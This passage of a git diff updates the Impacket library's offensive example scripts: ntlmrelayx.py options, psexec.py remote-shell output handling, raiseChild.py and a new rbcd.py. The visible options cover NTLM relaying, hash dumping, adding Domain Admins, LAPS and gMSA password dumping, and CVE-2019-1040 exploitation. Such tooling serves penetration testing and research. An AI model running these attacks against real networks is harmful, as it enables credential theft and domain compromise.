'__main__': - - print(version.BANNER) - #Parse arguments - parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will " - "try to relay that connection to specified target(s) system or the original client") - parser._optionals.title = "Main options" - - #Main arguments - parser.add_argument("-h","--help", action="help", help='show this help message and exit') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help="Target to relay the credentials to, " - "can be an IP, hostname or URL like domain\\username@host:port (domain\\username and port " - "are optional, and don't forget to escape the '\\'). If unspecified, it will relay back " - "to the client')") - parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or ' - 'full URL, one per line') - parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list ' - 'automatically (only valid with -tf)') - parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient or LDAP console instead' - 'of executing a command after a successful relay. This console will listen locally on a ' - ' tcp port and can be reached with for example netcat.') - - # Interface address specification - parser.add_argument('-ip','--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to ' - 'bind SMB and HTTP servers',default='') - - serversoptions = parser.add_argument_group() - serversoptions.add_argument('--no-smb-server', action='store_true', help='Disables the SMB server') - serversoptions.add_argument('--no-http-server', action='store_true', help='Disables the HTTP server') - serversoptions.add_argument('--no-wcf-server', action='store_true', help='Disables the WCF server') - - parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445) - parser.add_argument('--http-port', type=int, help='Port to listen on http server', default=80) - parser.add_argument('--wcf-port', type=int, help='Port to listen on wcf server', default=9389) # ADWS - - parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection') - parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') - parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot ' - 'directory in which gathered loot such as SAM dumps will be stored (default: current directory).') - parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes ' - 'will be added for ntlm and ntlmv2') - parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' - '"%s"). If errors are detected, run chcp.com at the target, ' - 'map the result with ' - 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute ntlmrelayx.py ' - 'again with -codec and the corresponding codec ' % sys.getdefaultencoding()) - parser.add_argument('-smb2support', action="store_true", default=False, help='SMB2 Support') - parser.add_argument('-ntlmchallenge', action="store", default=None, help='Specifies the NTLM server challenge used by the ' - 'SMB Server (16 hex bytes long. eg: 1122334455667788)') - - parser.add_argument('-socks', action='store_true', default=False, - help='Launch a SOCKS proxy for the connection relayed') - parser.add_argument('-wh','--wpad-host', action='store',help='Enable serving a WPAD file for Proxy Authentication attack, ' - 'setting the proxy host to the one supplied.') - parser.add_argument('-wa','--wpad-auth-num', action='store', type=int, default=1, help='Prompt for authentication N times for clients without MS16-077 installed ' - 'before serving a WPAD file. (default=1)') - parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4') - parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)') - parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients') - - parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on ' - 'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be' - ' in the same directory). For RPC no output will be provided.') - - #SMB arguments - smboptions = parser.add_argument_group("SMB client options") - - smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. ' - 'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') - smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)') - - #RPC arguments - rpcoptions = parser.add_argument_group("RPC client options") - rpcoptions.add_argument('-rpc-mode', choices=["TSCH"], default="TSCH", help='Protocol to attack, only TSCH supported') - rpcoptions.add_argument('-rpc-use-smb', action='store_true', required=False, help='Relay DCE/RPC to SMB pipes') - rpcoptions.add_argument('-auth-smb', action='store', required=False, default='', metavar='[domain/]username[:password]', - help='Use this credential to authenticate to SMB (low-privilege account)') - rpcoptions.add_argument('-hashes-smb', action='store', required=False, metavar="LMHASH:NTHASH") - rpcoptions.add_argument('-rpc-smb-port', type=int, choices=[139, 445], default=445, help='Destination port to connect to SMB') - - #MSSQL arguments - mssqloptions = parser.add_argument_group("MSSQL client options") - mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute' - '(can specify multiple)') - - #HTTPS options - httpoptions = parser.add_argument_group("HTTP options") - httpoptions.add_argument('-machine-account', action='store', required=False, - help='Domain machine account to use when interacting with the domain to grab a session key for ' - 'signing, format is domain/machine_name') - httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", - help='Domain machine hashes, format is LMHASH:NTHASH') - httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') - httpoptions.add_argument('-remove-target', action='store_true', default=False, - help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)') - - #LDAP options - ldapoptions = parser.add_argument_group("LDAP client options") - ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information') - ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin') - ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks') - ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks') - ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one') - ldapoptions.add_argument('--add-computer', action='store', metavar='COMPUTERNAME', required=False, const='Rand', nargs='?', help='Attempt to add a new computer account') - ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account') - ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name') - ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user') - ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user') - - #IMAP options - imapoptions = parser.add_argument_group("IMAP client options") - imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. ' - 'If not specified, will search for mails containing "password"') - imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX') - imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, ' - 'dump all emails') - imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump ' - '(0 = unlimited, default: no limit)') - - try: - options = parser.parse_args() - except Exception as e: - logging.error(str(e)) - sys.exit(1) - - if options.rpc_use_smb and not options.auth_smb: - logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes") - sys.exit(1) - - # Init the example's logger theme - logger.init(options.ts) - - if options.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) - - # Let's register the protocol clients we have - # ToDo: Do this better somehow - from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS - from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS - - - if options.codec is not None: - codec = options.codec - else: - codec = sys.getdefaultencoding() - - if options.target is not None: - logging.info("Running in relay mode to single host") - mode = 'RELAY' - targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS, randomize=options.random) - else: - if options.tf is not None: - #Targetfile specified - logging.info("Running in relay mode to hosts in targetfile") - targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS, randomize=options.random) - mode = 'RELAY' - else: - logging.info("Running in reflection mode") - targetSystem = None - mode = 'REFLECTION' - - if not options.no_smb_server: - RELAY_SERVERS.append(SMBRelayServer) - - if not options.no_http_server: - RELAY_SERVERS.append(HTTPRelayServer) - - if options.r is not None: - logging.info("Running HTTP server in redirect mode") - - if not options.no_wcf_server: - RELAY_SERVERS.append(WCFRelayServer) - - if targetSystem is not None and options.w: - watchthread = TargetsFileWatcher(targetSystem) - watchthread.start() - - threads = set() - socksServer = None - if options.socks is True: - # Start a SOCKS proxy in the background - socksServer = SOCKS() - socksServer.daemon_threads = True - socks_thread = Thread(target=socksServer.serve_forever) - socks_thread.daemon = True - socks_thread.start() - threads.add(socks_thread) - - c = start_servers(options, threads) - - print("") - logging.info("Servers started, waiting for connections") - try: - if options.socks: - shell = MiniShell(c, threads) - shell.cmdloop() - else: - sys.stdin.read() - except KeyboardInterrupt: - pass - else: - pass - - if options.socks is True: - socksServer.shutdown() - del socksServer - - for s in threads: - del s - - sys.exit(0) diff --git a/examples/ping.py b/examples/ping.py index 3b5f0ac62d..9e8a1c53be 100755 --- a/examples/ping.py +++ b/examples/ping.py @@ -1,27 +1,31 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Simple ICMP ping. +# Description: +# Simple ICMP ping. # -# This implementation of ping uses the ICMP echo and echo-reply packets -# to check the status of a host. If the remote host is up, it should reply -# to the echo probe with an echo-reply packet. -# Note that this isn't a definite test, as in the case the remote host is up -# but refuses to reply the probes. -# Also note that the user must have special access to be able to open a raw -# socket, which this program requires. +# This implementation of ping uses the ICMP echo and echo-reply packets +# to check the status of a host. If the remote host is up, it should reply +# to the echo probe with an echo-reply packet. +# Note that this isn't a definite test, as in the case the remote host is up +# but refuses to reply the probes. +# Also note that the user must have special access to be able to open a raw +# socket, which this program requires. # # Authors: -# Gerardo Richarte -# Javier Kohen +# Gerardo Richarte (@gerasdf) +# Javier Kohen # # Reference for: -# ImpactPacket: IP, ICMP, DATA. -# ImpactDecoder. +# ImpactPacket: IP, ICMP, DATA +# ImpactDecoder +# import select import socket @@ -49,7 +53,7 @@ icmp.set_icmp_type(icmp.ICMP_ECHO) # Include a 156-character long payload inside the ICMP packet. -icmp.contains(ImpactPacket.Data("A"*156)) +icmp.contains(ImpactPacket.Data(b"A"*156)) # Have the IP packet contain the ICMP packet (along with its payload). ip.contains(icmp) @@ -72,7 +76,7 @@ s.sendto(ip.get_packet(), (dst, 0)) # Wait for incoming replies. - if s in select.select([s],[],[],1)[0]: + if s in select.select([s], [], [], 1)[0]: reply = s.recvfrom(2000)[0] # Use ImpactDecoder to reconstruct the packet hierarchy. diff --git a/examples/ping6.py b/examples/ping6.py index 163134e160..91af15dac4 100755 --- a/examples/ping6.py +++ b/examples/ping6.py @@ -1,26 +1,30 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Simple ICMP6 ping. +# Description: +# Simple ICMP6 ping. # -# This implementation of ping uses the ICMP echo and echo-reply packets -# to check the status of a host. If the remote host is up, it should reply -# to the echo probe with an echo-reply packet. -# Note that this isn't a definite test, as in the case the remote host is up -# but refuses to reply the probes. -# Also note that the user must have special access to be able to open a raw -# socket, which this program requires. +# This implementation of ping uses the ICMP echo and echo-reply packets +# to check the status of a host. If the remote host is up, it should reply +# to the echo probe with an echo-reply packet. +# Note that this isn't a definite test, as in the case the remote host is up +# but refuses to reply the probes. +# Also note that the user must have special access to be able to open a raw +# socket, which this program requires. # # Authors: -# Alberto Solino (@agsolino) +# Alberto Solino (@agsolino) # # Reference for: -# ImpactPacket: ICMP6 -# ImpactDecoder. +# ImpactPacket: ICMP6 +# ImpactDecoder +# import select import socket @@ -50,7 +54,7 @@ # Open a raw socket. Special permissions are usually required. s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) -payload = "A"*156 +payload = b"A"*156 print("PING %s %d data bytes" % (dst, len(payload))) seq_id = 0 @@ -69,7 +73,7 @@ s.sendto(icmp.get_packet(), (dst, 0)) # Wait for incoming replies. - if s in select.select([s],[],[],1)[0]: + if s in select.select([s], [], [], 1)[0]: reply = s.recvfrom(2000)[0] # Use ImpactDecoder to reconstruct the packet hierarchy. @@ -77,6 +81,6 @@ # If the packet matches, report it to the user. if ICMP6.ICMP6.ECHO_REPLY == rip.get_type(): - print("%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4,dst,rip.get_echo_sequence_number())) + print("%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4, dst, rip.get_echo_sequence_number())) time.sleep(1) diff --git a/examples/psexec.py b/examples/psexec.py index 0dae946628..c16e02783c 100755 --- a/examples/psexec.py +++ b/examples/psexec.py @@ -1,20 +1,25 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom) +# Description: +# PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom) # # Author: -# beto (@agsolino) +# beto (@agsolino) # # Reference for: -# DCE/RPC and SMB. +# DCE/RPC and SMB. +# import sys import os +import re import cmd import logging from threading import Thread, Lock @@ -30,8 +35,10 @@ from impacket.dcerpc.v5 import transport from impacket.structure import Structure from impacket.examples import remcomsvc, serviceinstall +from impacket.examples.utils import parse_target from impacket.krb5.keytab import Keytab +CODEC = sys.stdout.encoding class RemComMessage(Structure): structure = ( @@ -49,9 +56,9 @@ class RemComResponse(Structure): ('ReturnCode','$' + + endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None) + if endsWithPrompt == True: + # All data, we shouldn't have encoding errors + # Adding a space after the prompt because it's beautiful + __stdoutData = __stdoutOutputBuffer + b" " + # Remainder data for next iteration + __stdoutOutputBuffer = b"" + + # print("[+] endsWithPrompt") + # print(" | __stdoutData:",__stdoutData) + # print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer) + elif b'\n' in __stdoutOutputBuffer: + # We have read a line, print buffer if it is not empty + lines = __stdoutOutputBuffer.split(b"\n") + # All lines, we shouldn't have encoding errors + __stdoutData = b"\n".join(lines[:-1]) + b"\n" + # Remainder data for next iteration + __stdoutOutputBuffer = lines[-1] + # print("[+] newline in __stdoutOutputBuffer") + # print(" | __stdoutData:",__stdoutData) + # print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer) + + if len(__stdoutData) != 0: + # There is data to print + try: + sys.stdout.write(__stdoutData.decode(CODEC)) + sys.stdout.flush() + __stdoutData = b"" + except UnicodeDecodeError: + logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py ' + 'again with -codec and the corresponding codec') + print(__stdoutData.decode(CODEC, errors='replace')) + __stdoutData = b"" + else: + # Don't echo the command that was sent, and clear it up + LastDataSent = b"" + # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, + # it will give false positives tho.. we should find a better way to handle this. + # if LastDataSent > 10: + # LastDataSent = '' + except: + pass + else: + __stdoutOutputBuffer, __stdoutData = "", "" + + while True: try: - global LastDataSent - if ans != LastDataSent: - sys.stdout.write(ans.decode('cp437')) - sys.stdout.flush() - else: - # Don't echo what I sent, and clear it up - LastDataSent = '' - # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, - # it will give false positives tho.. we should find a better way to handle this. - if LastDataSent > 10: - LastDataSent = '' + stdout_ans = self.server.readFile(self.tid, self.fid, 0, 1024) except: pass + else: + try: + if stdout_ans != LastDataSent: + if len(stdout_ans) != 0: + # Append new data to the buffer while there is data to read + __stdoutOutputBuffer += stdout_ans + + promptRegex = r'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$' + + endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None) + if endsWithPrompt: + # All data, we shouldn't have encoding errors + # Adding a space after the prompt because it's beautiful + __stdoutData = __stdoutOutputBuffer + " " + # Remainder data for next iteration + __stdoutOutputBuffer = "" + + elif '\n' in __stdoutOutputBuffer: + # We have read a line, print buffer if it is not empty + lines = __stdoutOutputBuffer.split("\n") + # All lines, we shouldn't have encoding errors + __stdoutData = "\n".join(lines[:-1]) + "\n" + # Remainder data for next iteration + __stdoutOutputBuffer = lines[-1] + + if len(__stdoutData) != 0: + # There is data to print + sys.stdout.write(__stdoutData.decode(CODEC)) + sys.stdout.flush() + __stdoutData = "" + else: + # Don't echo the command that was sent, and clear it up + LastDataSent = "" + # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, + # it will give false positives tho.. we should find a better way to handle this. + # if LastDataSent > 10: + # LastDataSent = '' + except Exception as e: + pass + class RemoteStdErrPipe(Pipes): def __init__(self, transport, pipe, permisssions): @@ -288,17 +384,87 @@ def __init__(self, transport, pipe, permisssions): def run(self): self.connectPipe() - while True: - try: - ans = self.server.readFile(self.tid,self.fid, 0, 1024) - except: - pass - else: + + if PY3: + __stderrOutputBuffer, __stderrData = b'', b'' + + while True: + try: + stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024) + except: + pass + else: + try: + if len(stderr_ans) != 0: + # Append new data to the buffer while there is data to read + __stderrOutputBuffer += stderr_ans + + if b'\n' in __stderrOutputBuffer: + # We have read a line, print buffer if it is not empty + lines = __stderrOutputBuffer.split(b"\n") + # All lines, we shouldn't have encoding errors + __stderrData = b"\n".join(lines[:-1]) + b"\n" + # Remainder data for next iteration + __stderrOutputBuffer = lines[-1] + + if len(__stderrData) != 0: + # There is data to print + try: + sys.stdout.write(__stderrData.decode(CODEC)) + sys.stdout.flush() + __stderrData = b"" + except UnicodeDecodeError: + logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py ' + 'again with -codec and the corresponding codec') + print(__stderrData.decode(CODEC, errors='replace')) + __stderrData = b"" + else: + # Don't echo the command that was sent, and clear it up + LastDataSent = b"" + # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, + # it will give false positives tho.. we should find a better way to handle this. + # if LastDataSent > 10: + # LastDataSent = '' + except Exception as e: + pass + else: + __stderrOutputBuffer, __stderrData = '', '' + + while True: try: - sys.stderr.write(str(ans)) - sys.stderr.flush() + stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024) except: pass + else: + try: + if len(stderr_ans) != 0: + # Append new data to the buffer while there is data to read + __stderrOutputBuffer += stderr_ans + + if '\n' in __stderrOutputBuffer: + # We have read a line, print buffer if it is not empty + lines = __stderrOutputBuffer.split("\n") + # All lines, we shouldn't have encoding errors + __stderrData = "\n".join(lines[:-1]) + "\n" + # Remainder data for next iteration + __stderrOutputBuffer = lines[-1] + + if len(__stderrData) != 0: + # There is data to print + sys.stdout.write(__stderrData.decode(CODEC)) + sys.stdout.flush() + __stderrData = "" + else: + # Don't echo the command that was sent, and clear it up + LastDataSent = "" + # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, + # it will give false positives tho.. we should find a better way to handle this. + # if LastDataSent > 10: + # LastDataSent = '' + except: + pass + class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, share, transport): @@ -329,8 +495,8 @@ def do_help(self, line): print(""" lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) - put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) - get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir + lput {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) + lget {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share)) self.send_data('\r\n', False) @@ -339,7 +505,7 @@ def do_shell(self, s): os.system(s) self.send_data('\r\n') - def do_get(self, src_path): + def do_lget(self, src_path): try: if self.transferClient is None: self.connect_transferClient() @@ -356,7 +522,7 @@ def do_get(self, src_path): self.send_data('\r\n') - def do_put(self, s): + def do_lput(self, s): try: if self.transferClient is None: self.connect_transferClient() @@ -397,9 +563,9 @@ def emptyline(self): def default(self, line): if PY3: - self.send_data(line.encode('cp437')+b'\r\n') + self.send_data(line.encode(CODEC)+b'\r\n') else: - self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') + self.send_data(line.decode(sys.stdin.encoding).encode(CODEC)+'\r\n') def send_data(self, data, hideOutput = True): if hideOutput is True: @@ -434,6 +600,11 @@ def run(self): parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)") parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' + '"%s"). If errors are detected, run chcp.com at the target, ' + 'map the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py ' + 'again with -codec and the corresponding codec ' % CODEC) group = parser.add_argument_group('authentication') @@ -470,6 +641,12 @@ def run(self): # Init the example's logger theme logger.init(options.ts) + if options.codec is not None: + CODEC = options.codec + else: + if CODEC is None: + CODEC = 'utf-8' + if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path @@ -477,15 +654,7 @@ def run(self): else: logging.getLogger().setLevel(logging.INFO) - import re - - domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') - - #In case the password contains '@' - if '@' in remoteName: - password = password + '@' + remoteName.rpartition('@')[0] - remoteName = remoteName.rpartition('@')[2] + domain, username, password, remoteName = parse_target(options.target) if domain is None: domain = '' diff --git a/examples/raiseChild.py b/examples/raiseChild.py index 96c432112f..19225d1490 100755 --- a/examples/raiseChild.py +++ b/examples/raiseChild.py @@ -1,12 +1,12 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # This script implements a child-domain to forest privilege escalation # as detailed by Sean Metcalf (@PyroTek3) at https://adsecurity.org/?p=1640. We will @@ -52,7 +52,10 @@ # A domain is, however, the administrative boundary for managing objects, such as users, groups, and computers. # In addition, each domain has its own individual security policies and trust relationships with other domains. # +# Author: +# Alberto Solino (@agsolino) # + from __future__ import division from __future__ import print_function import argparse @@ -87,6 +90,7 @@ from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue from impacket.examples import logger +from impacket.examples.utils import parse_credentials from impacket.ntlm import LMOWFv1, NTOWFv1 from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE @@ -1267,9 +1271,7 @@ def exploit(self): # Init the example's logger theme logger.init(options.ts) - import re - domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?').match( - options.target).groups('') + domain, username, password = parse_credentials(options.target) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) diff --git a/examples/rbcd.py b/examples/rbcd.py new file mode 100755 index 0000000000..f9d7991e38 --- /dev/null +++ b/examples/rbcd.py @@ -0,0 +1,588 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer +# +# Authors: +# Remi Gascou (@podalirius_) +# Charlie Bromberg (@_nwodtuhs) +# +# ToDo: +# [ ]: allow users to set a ((-delegate-from-sid or -delegate-from-dn) and -delegate-to-dn) in order to skip ldapdomaindump and explicitely set the SID/DN + +import argparse +import logging +import sys +import traceback +import ldap3 +import ssl +import ldapdomaindump +from binascii import unhexlify +import os +from ldap3.protocol.formatters.formatters import format_sid + +from impacket import version +from impacket.examples import logger, utils +from impacket.ldap import ldaptypes +from impacket.smbconnection import SMBConnection +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech +from ldap3.utils.conv import escape_filter_chars + + +def get_machine_name(args, domain): + if args.dc_ip is not None: + s = SMBConnection(args.dc_ip, args.dc_ip) + else: + s = SMBConnection(domain, domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % domain) + else: + s.logoff() + return s.getServerName() + + +def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, + TGT=None, TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + :return: True, raises an Exception if error. + """ + + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass + + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + if useCache: + try: + ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + except Exception as e: + # No cache present + print(e) + pass + else: + # retrieve domain information from CCache file if needed + if domain == '': + domain = ccache.principal.realm['data'].decode('utf-8') + logging.debug('Domain retrieved from CCache: %s' % domain) + + logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME')) + principal = 'ldap/%s@%s' % (target.upper(), domain.upper()) + + creds = ccache.getCredential(principal) + if creds is None: + # Let's try for the TGT and go from there + principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) + creds = ccache.getCredential(principal) + if creds is not None: + TGT = creds.toTGT() + logging.debug('Using TGT from cache') + else: + logging.debug('No valid credentials found in cache') + else: + TGS = creds.toTGS(principal) + logging.debug('Using TGS from cache') + + # retrieve user information from CCache file if needed + if user == '' and creds is not None: + user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') + logging.debug('Username retrieved from CCache: %s' % user) + elif user == '' and len(ccache.principal.components) > 0: + user = ccache.principal.components[0]['data'].decode('utf-8') + logging.debug('Username retrieved from CCache: %s' % user) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] + + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + 